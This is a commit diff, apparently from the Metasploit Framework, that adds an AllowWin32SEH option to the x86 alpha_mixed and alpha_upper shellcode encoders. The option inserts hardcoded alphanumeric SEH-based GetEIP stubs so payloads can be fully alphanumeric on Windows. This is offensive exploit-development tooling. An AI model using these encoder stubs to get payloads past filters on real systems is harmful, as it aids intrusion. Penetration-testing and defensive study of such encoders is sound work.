See #430. This adds the AllowWin32SEH option to the upper/mixed alphanumeric encoders, providing 100% alphanumeric payloads for Windows platforms

git-svn-id: file:///home/svn/framework3/trunk@7405 4d416f70-5f16-0410-b530-b9f4589650da

lib/msf/core/encoder/alphanum.rb

@@ -17,10 +17,12 @@ class Encoder::Alphanum < Msf::Encoder
 		register_options(
 			[
 				OptString.new('BufferRegister', [ false, "The register that pointers to the encoded payload" ]),
-				OptInt.new('BufferOffset', [ false, "The offset to the buffer from the start of the register", off ])
+				OptInt.new('BufferOffset', [ false, "The offset to the buffer from the start of the register", off ]),
+				OptBool.new('AllowWin32SEH', [ true, "Use SEH to determine the address of the stub (Windows only)", false ])
 			], Msf::Encoder::Alphanum)
 	end
 
 end
 
 end
+

modules/encoders/x86/alpha_mixed.rb

@@ -47,12 +47,20 @@ class Metasploit3 < Msf::Encoder::Alphanum
 
 		# We need to create a GetEIP stub for the exploit
 		if (not reg)
+			if(datastore['AllowWin32SEH'])
+				buf = 'VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089'
+				reg = 'ECX'
+				off = 0
+			else
 				res = Rex::Arch::X86.geteip_fpu(state.badchars)
 				if (not res)
 					raise RuntimeError, "Unable to generate geteip code"
 				end
 			buf, reg, off = res
 			end
+		else
+			reg.upcase!
+		end
 
 		buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off)
 	end
@@ -72,3 +80,4 @@ class Metasploit3 < Msf::Encoder::Alphanum
 		state.encoded += Rex::Encoder::Alpha2::AlphaMixed::add_terminator()
 	end
 end
+

modules/encoders/x86/alpha_upper.rb

@@ -47,12 +47,20 @@ class Metasploit3 < Msf::Encoder::Alphanum
 
 		# We need to create a GetEIP stub for the exploit
 		if (not reg)
+			if(datastore['AllowWin32SEH'])
+				buf = 'VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYYP5YYYD5KKYAPTTX638TDDNVDDX4Z4A63861816'
+				reg = 'ECX'
+				off = 0
+			else
 				res = Rex::Arch::X86.geteip_fpu(state.badchars)
 				if (not res)
 					raise RuntimeError, "Unable to generate geteip code"
 				end
 			buf, reg, off = res
 			end
+		else
+			reg.upcase!
+		end
 
 		buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off)
 	end
@@ -72,3 +80,4 @@ class Metasploit3 < Msf::Encoder::Alphanum
 		state.encoded += Rex::Encoder::Alpha2::AlphaUpper::add_terminator()
 	end
 end
+